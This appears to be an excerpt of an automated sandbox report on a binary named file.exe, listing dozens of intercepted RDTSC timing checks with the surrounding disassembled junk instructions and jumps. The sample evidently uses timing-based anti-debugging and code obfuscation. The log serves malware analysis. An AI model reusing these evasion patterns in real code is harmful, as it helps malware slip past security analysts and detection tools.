Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AE29 second address: 69AE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AFAD second address: 69AFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF8A11CF036h 0x0000000a popad 0x0000000b popad 0x0000000c js 00007FF8A11CF068h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FF8A11CF036h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AFC9 second address: 69AFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B13C second address: 69B148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FD3D second address: 69FD47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FD47 second address: 69FD84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF8A11CF040h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jnl 00007FF8A11CF036h 0x00000019 pop ebx 0x0000001a jmp 00007FF8A11CF042h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A004E second address: 6A005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jo 00007FF8A1198176h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A005B second address: 6A0067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF8A11CF036h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0067 second address: 6A0075 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0364 second address: 6A036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A050D second address: 6A0513 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0AC2 second address: 6A0AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 ja 00007FF8A11CF036h 0x0000000f pop edi 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0C12 second address: 6A0C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0C17 second address: 6A0C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11CF040h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0D6B second address: 6A0D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0D70 second address: 6A0D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF8A11CF036h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0D7C second address: 6A0D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0D80 second address: 6A0DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF8A11CF049h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 jmp 00007FF8A11CF047h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0DCB second address: 6A0DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1222 second address: 6A1227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1227 second address: 6A122F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A122F second address: 6A1235 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F9E7 second address: 69F9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F9F1 second address: 69FA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FF8A11CF044h 0x0000000b popad 0x0000000c jmp 00007FF8A11CF046h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4441 second address: 6A4462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FF8A1198178h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FF8A1198181h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAF70 second address: 6AAF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF8A11CF036h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAF7D second address: 6AAF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jng 00007FF8A1198180h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A8FC second address: 62A916 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FF8A11CF036h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A916 second address: 62A91C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A91C second address: 62A947 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A11CF03Ch 0x00000008 jng 00007FF8A11CF036h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FF8A11CF036h 0x00000016 jmp 00007FF8A11CF045h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A947 second address: 62A94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9DBA second address: 6A9DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A11CF045h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA1C2 second address: 6AA1C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA662 second address: 6AA69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Bh 0x00000009 jmp 00007FF8A11CF047h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FF8A11CF036h 0x00000017 jmp 00007FF8A11CF03Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA69E second address: 6AA6DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198187h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8A1198187h 0x00000014 jnp 00007FF8A1198176h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AACE4 second address: 6AACFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF043h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AACFB second address: 6AAD0F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FF8A119818Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD0F second address: 6AAD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF912 second address: 6AF929 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FF8A1198182h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF929 second address: 6AF933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67552F second address: 67555F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5A4C390Fh 0x0000000d mov dword ptr [ebp+12476CD0h], ebx 0x00000013 mov ecx, dword ptr [ebp+122D35E9h] 0x00000019 call 00007FF8A1198179h 0x0000001e push eax 0x0000001f push edx 0x00000020 js 00007FF8A119817Ch 0x00000026 jnc 00007FF8A1198176h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67555F second address: 675593 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jmp 00007FF8A11CF045h 0x0000000f pop ebx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF8A11CF03Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675593 second address: 6755AB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198178h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e js 00007FF8A1198184h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6755AB second address: 6755AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6755AF second address: 6755CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF8A1198181h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6755CE second address: 6755E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675738 second address: 675743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675804 second address: 67580B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6759D3 second address: 6759D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6759D7 second address: 6759E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FF8A11CF036h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6759E5 second address: 6759E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676132 second address: 676168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A11CF047h 0x0000000d pop edx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A11CF040h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676168 second address: 676172 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A119817Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676172 second address: 6761B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jg 00007FF8A11CF042h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 js 00007FF8A11CF04Ah 0x00000019 jmp 00007FF8A11CF044h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11CF03Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67620D second address: 676295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FF8A1198178h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 mov bh, 11h 0x00000029 push edx 0x0000002a movsx edx, di 0x0000002d pop ecx 0x0000002e popad 0x0000002f lea eax, dword ptr [ebp+12484D72h] 0x00000035 pushad 0x00000036 movsx ecx, cx 0x00000039 jmp 00007FF8A119817Bh 0x0000003e popad 0x0000003f jg 00007FF8A119817Ch 0x00000045 nop 0x00000046 ja 00007FF8A119818Bh 0x0000004c push eax 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF8A119817Eh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676295 second address: 6762E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FF8A11CF038h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 and edi, 638D0A90h 0x0000002c lea eax, dword ptr [ebp+12484D2Eh] 0x00000032 jnc 00007FF8A11CF039h 0x00000038 nop 0x00000039 push ebx 0x0000003a jnp 00007FF8A11CF03Ch 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6762E4 second address: 6762F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push ebx 0x00000007 jo 00007FF8A119817Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6762F3 second address: 653E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 jmp 00007FF8A11CF045h 0x0000000b call dword ptr [ebp+122D3521h] 0x00000011 jng 00007FF8A11CF04Eh 0x00000017 push ebx 0x00000018 pushad 0x00000019 jno 00007FF8A11CF036h 0x0000001f jnc 00007FF8A11CF036h 0x00000025 popad 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEC49 second address: 6AEC53 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A1198176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF05F second address: 6AF065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF065 second address: 6AF069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3DED second address: 6B3E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FF8A11CF038h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FF8A11CF036h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3E02 second address: 6B3E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6813 second address: 6B681E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6AF5 second address: 6B6AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6AFF second address: 6B6B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FF8A11CF036h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6CBA second address: 6B6CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F99 second address: 6B8FBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 jmp 00007FF8A11CF03Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B910C second address: 6B9126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FF8A119817Ah 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d jno 00007FF8A1198176h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0D96 second address: 6C0D9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0D9C second address: 6C0DA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0DA3 second address: 6C0DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF8C8 second address: 6BF8D2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFCAC second address: 6BFCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFCB1 second address: 6BFCD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jne 00007FF8A1198176h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF8A1198184h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFCD7 second address: 6BFCF2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007FF8A11CF036h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11CF03Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFCF2 second address: 6BFD0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF8A1198187h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C362E second address: 6C364A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C364A second address: 6C364E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C37A3 second address: 6C37A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C37A7 second address: 6C37C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Dh 0x00000007 jnp 00007FF8A1198176h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C37C2 second address: 6C37DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C37DF second address: 6C37FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198185h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3937 second address: 6C3949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF8A11CF03Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3949 second address: 6C3956 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7191 second address: 6C719C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C719C second address: 6C71A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C730F second address: 6C7313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C74AF second address: 6C74B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
